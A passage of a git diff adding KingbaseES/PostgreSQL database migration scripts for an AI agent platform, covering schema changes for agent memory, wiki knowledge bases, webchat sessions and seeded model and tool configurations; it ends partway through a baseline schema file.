+BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_memory_recall' AND column_name = 'owner_key' + ) THEN + ALTER TABLE mate_memory_recall ADD COLUMN owner_key VARCHAR(128) NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_memory_recall' AND column_name = 'scope' + ) THEN + ALTER TABLE mate_memory_recall ADD COLUMN scope VARCHAR(16) NOT NULL DEFAULT 'TEAM'; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_memory_recall_scope_owner ON mate_memory_recall (agent_id, scope, owner_key); + +-- ---------- mate_fact ---------- +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_fact' AND column_name = 'owner_key' + ) THEN + ALTER TABLE mate_fact ADD COLUMN owner_key VARCHAR(128) NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_fact' AND column_name = 'scope' + ) THEN + ALTER TABLE mate_fact ADD COLUMN scope VARCHAR(16) NOT NULL DEFAULT 'TEAM'; + END IF; +END $$; + +CREATE INDEX IF NOT EXISTS idx_fact_scope_owner ON mate_fact (agent_id, scope, owner_key); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V138__rename_search_tool_to_web_search.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V138__rename_search_tool_to_web_search.sql new file mode 100644 index 00000000..835cf030 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V138__rename_search_tool_to_web_search.sql @@ -0,0 +1,7 @@ +-- Rename the built-in web-search tool from "search" to "web_search". +-- DashScope's native protocol reserves the function name "search" and rejects any +-- request that declares a tool with that name ("InvalidParameter: Tool names are not +-- allowed to be [search]"), which broke tool use for every qwen/DashScope-native model +-- that had this tool bound. Migrate existing agent bindings to the new name so they +-- keep resolving after the tool was renamed in code. Idempotent. +UPDATE mate_agent_tool SET tool_name = 'web_search' WHERE tool_name = 'search'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V139__mcp_default_read_timeout_60s.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V139__mcp_default_read_timeout_60s.sql new file mode 100644 index 00000000..541bc6dc --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V139__mcp_default_read_timeout_60s.sql @@ -0,0 +1,8 @@ +-- Raise the default per-request (read) timeout for MCP servers from 30s to 60s. +-- A 30s ceiling cut off MCP tools whose single callTool round-trip legitimately +-- runs longer (data-heavy or compute-heavy tools), surfacing as a request timeout +-- with no retry. The application layer already falls back to 60s when the column +-- is null; this aligns the schema default so the value is consistent everywhere. +-- Only changes the column default for newly inserted rows — existing rows keep +-- whatever value they were given. Idempotent. +ALTER TABLE mate_mcp_server ALTER COLUMN read_timeout_seconds SET DEFAULT 60; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V13__wiki_chunk_embedding.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V13__wiki_chunk_embedding.sql new file mode 100644 index 00000000..e5e16dac --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V13__wiki_chunk_embedding.sql @@ -0,0 +1,21 @@ +-- V13: Add embedding column to mate_wiki_chunk (RFC-011 Phase 2) +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'embedding' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN embedding BYTEA DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_chunk' AND column_name = 'embedding_model' + ) THEN + ALTER TABLE mate_wiki_chunk ADD COLUMN embedding_model VARCHAR(64) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V140__goal_criteria_checklist.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V140__goal_criteria_checklist.sql new file mode 100644 index 00000000..1819b868 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V140__goal_criteria_checklist.sql @@ -0,0 +1,19 @@ +-- V140: Structured, checkable criteria for goals (MySQL). +-- +-- See the H2 counterpart for the full rationale. MySQL has no +-- "ADD COLUMN IF NOT EXISTS", so the column is guarded with an +-- INFORMATION_SCHEMA existence check + prepared statement for idempotency. +-- +-- The column holds the goal's checklist as JSON: +-- [{ "id": "C1", "text": "...", "passed": false, "evidence": "" }, ...] +-- Additive and nullable, so existing goals load unchanged (a NULL list +-- bootstraps on first evaluation). +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_agent_goal' AND column_name = 'criteria' + ) THEN + ALTER TABLE mate_agent_goal ADD COLUMN criteria TEXT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V141__agent_wiki_kb_scope.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V141__agent_wiki_kb_scope.sql new file mode 100644 index 00000000..d11f89d8 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V141__agent_wiki_kb_scope.sql @@ -0,0 +1,24 @@ +-- V141: Per-agent knowledge base access scope for wiki tools (KingbaseES / PostgreSQL 兼容). +-- +-- Knowledge bases are workspace-shared, so by default every agent in a +-- workspace can reach every KB in it. This table lets an operator pin an +-- agent to a subset of KBs: once at least one enabled row exists for an +-- agent, the wiki tools (list/search/read/write) can only see and target +-- those KBs. No rows for an agent = unrestricted (workspace-wide), which +-- keeps every pre-existing agent behaving exactly as before. +-- +-- The default KB an agent's wiki tools fall back to when no kbId/kbName is +-- given still lives on mate_agent.primary_kb_id; this table only narrows the +-- visible set, and the primary is expected to be one of the scoped KBs. + +CREATE TABLE IF NOT EXISTS mate_agent_wiki_kb ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + kb_id BIGINT NOT NULL, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_wiki_kb ON mate_agent_wiki_kb (agent_id, kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_agent_wiki_kb_agent ON mate_agent_wiki_kb (agent_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V142__wiki_transformation_target_page_type.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V142__wiki_transformation_target_page_type.sql new file mode 100644 index 00000000..dd693ee0 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V142__wiki_transformation_target_page_type.sql @@ -0,0 +1,13 @@ +-- Optional target pageType for a transformation whose output_target='page'. +-- See the h2 sibling migration for the prose explanation. +-- MySQL INFORMATION_SCHEMA guard converted to plpgsql DO block. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation' AND column_name = 'target_page_type' + ) THEN + ALTER TABLE mate_wiki_transformation ADD COLUMN target_page_type VARCHAR(64) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V143__register_code_execute_tool.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V143__register_code_execute_tool.sql new file mode 100644 index 00000000..5c4c0f60 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V143__register_code_execute_tool.sql @@ -0,0 +1,6 @@ +-- V143: Register CodeExecuteTool as a built-in tool. +-- ON DUPLICATE KEY UPDATE is the MySQL idempotent upsert. +-- Converted to: ON CONFLICT DO UPDATE with EXCLUDED references (KingbaseES / PostgreSQL). +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V144__ckjia_mcp_fix_production_endpoint.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V144__ckjia_mcp_fix_production_endpoint.sql new file mode 100644 index 00000000..26576cc8 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V144__ckjia_mcp_fix_production_endpoint.sql @@ -0,0 +1,28 @@ +-- Fix the ckjia-shopping MCP seed to its real production endpoint. +-- +-- V85 seeded a dev/test placeholder (sse + http://localhost:8085/sse + +-- "Bearer ${CKJIA_MCP_KEY}"), which can never connect out of the box, so the +-- 参考价 / price-comparison skill stayed unusable until an admin hand-edited it. +-- The official CKJIA SaaS endpoint is Streamable HTTP at +-- https://m.ckjia.com/api/ai/mcp and needs no Authorization header. +-- +-- Also raises both timeouts to 60s: the price-aggregation round-trip +-- (multi-platform search) legitimately runs longer than the old 30s ceiling. +-- +-- SAFETY: only rewrites rows that still carry the untouched dev placeholder +-- URL, so an admin who already pointed ckjia-shopping at a private CKJIA +-- deployment (or the SaaS URL) is left completely alone. Idempotent — after it +-- runs the URL no longer matches the WHERE clause. `enabled` is deliberately +-- not changed: the server stays opt-in. +UPDATE mate_mcp_server +SET transport = 'streamable_http', + url = 'https://m.ckjia.com/api/ai/mcp', + headers_json = NULL, + connect_timeout_seconds = 60, + read_timeout_seconds = 60, + last_status = 'disconnected', + last_error = NULL, + description = 'CKJIA price comparison MCP server (Streamable HTTP). Disabled by default — enable it in Settings > MCP Connections to use the 参考价 shopping skill.', + update_time = NOW() +WHERE name = 'ckjia-shopping' + AND url = 'http://localhost:8085/sse'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V145__claude_fable_5_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V145__claude_fable_5_models.sql new file mode 100644 index 00000000..e3a7c7ea --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V145__claude_fable_5_models.sql @@ -0,0 +1,37 @@ +-- Add Claude Fable 5 model entries to mate_model_config. Unlike earlier Claude +-- families, the Fable rows live ONLY here, not in the data-kingbase-{en,zh}.sql +-- seed: Flyway runs every version (V1..) on a fresh database, so the migration +-- seeds new installs and upgrades existing deployments alike. The trade-off is +-- that the description below is English-only (seed files carry localized copy). +-- +-- Fable 5 is a reasoning-first model with a 1M-token context window and native +-- vision input. It follows the same strict API contract as Claude 4.7+: +-- temperature / top_p / top_k must be NULL (otherwise HTTP 400), and the +-- "xhigh" adaptive thinking tier is available. Both are handled in +-- AnthropicChatModelBuilder via the isClaudeFable() / isClaude47OrLater() +-- detectors. Vision capability is resolved in ModelCapabilityService. +-- +-- ON CONFLICT DO UPDATE is the PostgreSQL idempotent upsert. +-- Same V number is used in h2/ for cross-dialect parity. + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +-- Direct Anthropic +(1000000300, 'Claude Fable 5', 'anthropic', 'claude-fable-5', 'Anthropic Claude Fable 5 (1M context, vision, xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- OpenRouter passthrough +(1000000301, 'Claude Fable 5', 'openrouter', 'anthropic/claude-fable-5', 'Claude Fable 5 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude Code OAuth (Pro/Max subscription) +(1000000302, 'Claude Fable 5', 'anthropic-claude-code', 'claude-fable-5', 'Claude Fable 5 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET + name = EXCLUDED.name, + provider = EXCLUDED.provider, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + temperature = EXCLUDED.temperature, + max_tokens = EXCLUDED.max_tokens, + top_p = EXCLUDED.top_p, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + is_default = EXCLUDED.is_default, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V146__wiki_kb_watcher_enabled.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V146__wiki_kb_watcher_enabled.sql new file mode 100644 index 00000000..a6965ac2 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V146__wiki_kb_watcher_enabled.sql @@ -0,0 +1,14 @@ +-- Per-KB source-watcher toggle. See the h2 sibling for the prose explanation. +-- MySQL INFORMATION_SCHEMA guard converted to plpgsql DO block. +-- SMALLINT (not BOOLEAN): WikiKnowledgeBaseEntity.watcherEnabled is Integer (1/0). +-- Vanilla PostgreSQL cannot map a BOOLEAN into a JDBC int. Do not switch to BOOLEAN. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_knowledge_base' AND column_name = 'watcher_enabled' + ) THEN + ALTER TABLE mate_wiki_knowledge_base ADD COLUMN watcher_enabled SMALLINT NOT NULL DEFAULT 0; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V147__wiki_page_aliases.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V147__wiki_page_aliases.sql new file mode 100644 index 00000000..a2e03945 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V147__wiki_page_aliases.sql @@ -0,0 +1,5 @@ +-- V147: Page aliases — KingbaseES dialect. +-- +-- See h2/V147__wiki_page_aliases.sql for column semantics. +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. +ALTER TABLE mate_wiki_page ADD COLUMN IF NOT EXISTS aliases TEXT DEFAULT NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V148__wiki_entity.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V148__wiki_entity.sql new file mode 100644 index 00000000..2f88fff7 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V148__wiki_entity.sql @@ -0,0 +1,31 @@ +-- mate_wiki_entity: canonical named-entity nodes extracted from source chunks. +-- See the H2 file for the design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_entity ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + + canonical_name VARCHAR(256) NOT NULL, + normalized_key VARCHAR(256) NOT NULL, + type VARCHAR(32) NOT NULL, + + aliases_json TEXT, + description TEXT, + salience DECIMAL(5, 4), + mention_count INT NOT NULL DEFAULT 0, + + embedding BYTEA, + embedding_model VARCHAR(64), + + computed_hash VARCHAR(64), + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted SMALLINT NOT NULL DEFAULT 0 +); + +CREATE UNIQUE INDEX IF NOT EXISTS uk_we_key + ON mate_wiki_entity (kb_id, normalized_key, type, deleted); +CREATE INDEX IF NOT EXISTS idx_we_kb ON mate_wiki_entity (kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_we_salience ON mate_wiki_entity (kb_id, salience DESC); +CREATE INDEX IF NOT EXISTS idx_we_type ON mate_wiki_entity (kb_id, type, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V149__wiki_entity_mention.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V149__wiki_entity_mention.sql new file mode 100644 index 00000000..d989b281 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V149__wiki_entity_mention.sql @@ -0,0 +1,25 @@ +-- mate_wiki_entity_mention: links a canonical entity to a source occurrence. +-- See the H2 file for the design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_entity_mention ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + entity_id BIGINT NOT NULL, + chunk_id BIGINT, + page_id BIGINT, + + surface_form VARCHAR(256), + char_offset INT, + confidence DECIMAL(4, 3), + evidence TEXT, + source VARCHAR(32), + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted SMALLINT NOT NULL DEFAULT 0 +); + +CREATE INDEX IF NOT EXISTS idx_wem_entity ON mate_wiki_entity_mention (entity_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wem_chunk ON mate_wiki_entity_mention (chunk_id); +CREATE INDEX IF NOT EXISTS idx_wem_page ON mate_wiki_entity_mention (page_id); +CREATE INDEX IF NOT EXISTS idx_wem_kb ON mate_wiki_entity_mention (kb_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V14__embedding_model_config.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V14__embedding_model_config.sql new file mode 100644 index 00000000..4e42fde9 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V14__embedding_model_config.sql @@ -0,0 +1,36 @@ +-- V14: Embedding model UI config (对标 Dify) +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_config' AND column_name = 'model_type' + ) THEN + ALTER TABLE mate_model_config ADD COLUMN model_type VARCHAR(32) DEFAULT 'chat'; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_knowledge_base' AND column_name = 'embedding_model_id' + ) THEN + ALTER TABLE mate_wiki_knowledge_base ADD COLUMN embedding_model_id BIGINT DEFAULT NULL; + END IF; +END $$; + +-- 播种 DashScope embedding(与 chat 模型共享 provider apiKey) +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES (1000001001, 'Text Embedding v3', 'dashscope', 'text-embedding-v3', 'DashScope 通义千问 v3 通用文本向量模型(1024 维)', 0, 0, 0, TRUE, TRUE, TRUE, 'embedding', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET model_type = 'embedding'; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES (1000001002, 'Text Embedding v2', 'dashscope', 'text-embedding-v2', 'DashScope 通义千问 v2 文本向量模型(1536 维)', 0, 0, 0, TRUE, TRUE, FALSE, 'embedding', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET model_type = 'embedding'; + +-- 系统默认 embedding 模型(id 必须显式指定,与 chat 段 100000xxxx 错开) +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000001100, 'embedding.default.model.id', '1000001001', + 'Default embedding model id for wiki semantic search', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_value = EXCLUDED.setting_value; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V150__wiki_entity_relation.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V150__wiki_entity_relation.sql new file mode 100644 index 00000000..df1fbfe0 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V150__wiki_entity_relation.sql @@ -0,0 +1,27 @@ +-- mate_wiki_entity_relation: directed subject -> predicate -> object triples +-- between canonical entities. See the H2 file for the design rationale. + +CREATE TABLE IF NOT EXISTS mate_wiki_entity_relation ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + + subject_entity_id BIGINT NOT NULL, + predicate VARCHAR(64) NOT NULL, + object_entity_id BIGINT NOT NULL, + + evidence TEXT, + confidence DECIMAL(4, 3), + source VARCHAR(32), + evidence_chunk_id BIGINT, + computed_hash VARCHAR(64), + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted SMALLINT NOT NULL DEFAULT 0 +); + +CREATE UNIQUE INDEX IF NOT EXISTS uk_wer_triple + ON mate_wiki_entity_relation (kb_id, subject_entity_id, predicate, object_entity_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wer_subject ON mate_wiki_entity_relation (kb_id, subject_entity_id); +CREATE INDEX IF NOT EXISTS idx_wer_object ON mate_wiki_entity_relation (kb_id, object_entity_id); +CREATE INDEX IF NOT EXISTS idx_wer_kb ON mate_wiki_entity_relation (kb_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V151__webchat_session_id.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V151__webchat_session_id.sql new file mode 100644 index 00000000..36c7f171 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V151__webchat_session_id.sql @@ -0,0 +1,3 @@ +-- See the H2 copy for context. KingbaseES (PostgreSQL) supports +-- ADD COLUMN IF NOT EXISTS natively. +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS webchat_session_id VARCHAR(64); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V152__webchat_archive_and_revocation.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V152__webchat_archive_and_revocation.sql new file mode 100644 index 00000000..5a77a682 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V152__webchat_archive_and_revocation.sql @@ -0,0 +1,19 @@ +-- V148: webchat visitor-session archive flag + visitor-token revocation registry (KingbaseES / PostgreSQL). +-- See the H2 copy for full context. + +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS archived INT NOT NULL DEFAULT 0; + +CREATE TABLE IF NOT EXISTS webchat_revoked_visitor ( + id BIGINT NOT NULL PRIMARY KEY, + channel_id BIGINT NOT NULL, + visitor_id VARCHAR(128) NOT NULL, + revoked_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + reason VARCHAR(255), + create_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_webchat_revoked_visitor + ON webchat_revoked_visitor (channel_id, visitor_id, deleted); +CREATE INDEX IF NOT EXISTS idx_webchat_revoked_visitor_lookup + ON webchat_revoked_visitor (channel_id, visitor_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V153__zhipu_glm_5_2.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V153__zhipu_glm_5_2.sql new file mode 100644 index 00000000..45a93273 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V153__zhipu_glm_5_2.sql @@ -0,0 +1,18 @@ +-- V153: add the GLM-5.2 flagship to the native Zhipu (BigModel / Z.AI) +-- providers. See the H2 copy for full background. Adds glm-5.2 to all four +-- existing Zhipu providers (standard + coding plan, China + International). +-- Aggregator platforms (Volcano Ark, DashScope / Bailian, ModelScope) do not +-- host GLM-5.2 yet and are intentionally left untouched. +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000000214, 'GLM-5.2', 'zhipu-cn', 'glm-5.2', '最新旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000224, 'GLM-5.2', 'zhipu-intl', 'glm-5.2', 'Latest flagship model (International)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000238, 'GLM-5.2 Coding', 'zhipu-cn-codingplan', 'glm-5.2', '智谱编码套餐 — GLM-5.2 最新旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000239, 'GLM-5.2 Coding', 'zhipu-intl-codingplan', 'glm-5.2', 'Zhipu Coding Plan — GLM-5.2 latest flagship (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET + name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V154__agent_wiki_disabled.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V154__agent_wiki_disabled.sql new file mode 100644 index 00000000..62c9db24 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V154__agent_wiki_disabled.sql @@ -0,0 +1,3 @@ +-- V154: Wiki/knowledge-base opt-out flag on mate_agent (issue #304). +-- Mirrors skills_disabled / tools_disabled. Defaults to FALSE. +ALTER TABLE mate_agent ADD COLUMN IF NOT EXISTS wiki_disabled BOOLEAN NOT NULL DEFAULT FALSE; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V155__plan_conversation_id.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V155__plan_conversation_id.sql new file mode 100644 index 00000000..084fecf5 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V155__plan_conversation_id.sql @@ -0,0 +1,3 @@ +-- V155: Link a plan to the conversation/run that produced it (see H2 file for +-- context). KingbaseES (PostgreSQL-compatible) supports ADD COLUMN IF NOT EXISTS. +ALTER TABLE mate_plan ADD COLUMN IF NOT EXISTS conversation_id VARCHAR(64); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V156__sub_plan_assigned_agent.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V156__sub_plan_assigned_agent.sql new file mode 100644 index 00000000..e9bdb410 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V156__sub_plan_assigned_agent.sql @@ -0,0 +1,3 @@ +-- V156: Per-step agent delegation for plan-execute (see H2 file for context). +-- KingbaseES (PostgreSQL-compatible) supports ADD COLUMN IF NOT EXISTS. +ALTER TABLE mate_sub_plan ADD COLUMN IF NOT EXISTS assigned_agent_id BIGINT; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V15__purge_unavailable_dashscope_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V15__purge_unavailable_dashscope_models.sql new file mode 100644 index 00000000..482f98e7 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V15__purge_unavailable_dashscope_models.sql @@ -0,0 +1,7 @@ +-- V15: Purge DashScope model seed rows that are unavailable on the native protocol +DELETE FROM mate_model_config +WHERE id IN (1000000170, 1000000171) + AND provider = 'dashscope' + AND builtin = TRUE; +-- 1000000170 = qwen3.5-plus +-- 1000000171 = qwen3.5-max diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V16__purge_dot_version_dashscope_models.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V16__purge_dot_version_dashscope_models.sql new file mode 100644 index 00000000..d5898491 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V16__purge_dot_version_dashscope_models.sql @@ -0,0 +1,8 @@ +-- V16: Broaden the DashScope native-protocol purge (see V15). +DELETE FROM mate_model_config +WHERE provider = 'dashscope' + AND (model_name LIKE 'qwen1.%' + OR model_name LIKE 'qwen2.%' + OR model_name LIKE 'qwen3.%' + OR model_name LIKE 'qwen4.%' + OR model_name LIKE 'qwen5.%'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V1__baseline_schema.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V1__baseline_schema.sql new file mode 100644 index 00000000..910fea03 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V1__baseline_schema.sql @@ -0,0 +1,630 @@ +-- MateClaw 数据库初始化脚本(KingbaseES / PostgreSQL 兼容) + +-- 用户表 +CREATE TABLE IF NOT EXISTS mate_user ( + id BIGINT NOT NULL PRIMARY KEY, + username VARCHAR(64) NOT NULL UNIQUE, + password VARCHAR(200) NOT NULL, + nickname VARCHAR(64), + avatar VARCHAR(256), + email VARCHAR(128), + role VARCHAR(32) NOT NULL DEFAULT 'user', + enabled BOOLEAN NOT NULL DEFAULT TRUE, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- Agent 配置表 +CREATE TABLE IF NOT EXISTS mate_agent ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + description TEXT, + agent_type VARCHAR(32) NOT NULL DEFAULT 'react', + system_prompt TEXT, + model_name VARCHAR(128), + max_iterations INT NOT NULL DEFAULT 10, + enabled BOOLEAN NOT NULL DEFAULT TRUE, + icon VARCHAR(256), + tags VARCHAR(256), + workspace_id BIGINT NOT NULL DEFAULT 1, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +-- 模型配置表 +CREATE TABLE IF NOT EXISTS mate_model_config ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + provider VARCHAR(64) NOT NULL DEFAULT 'dashscope', + 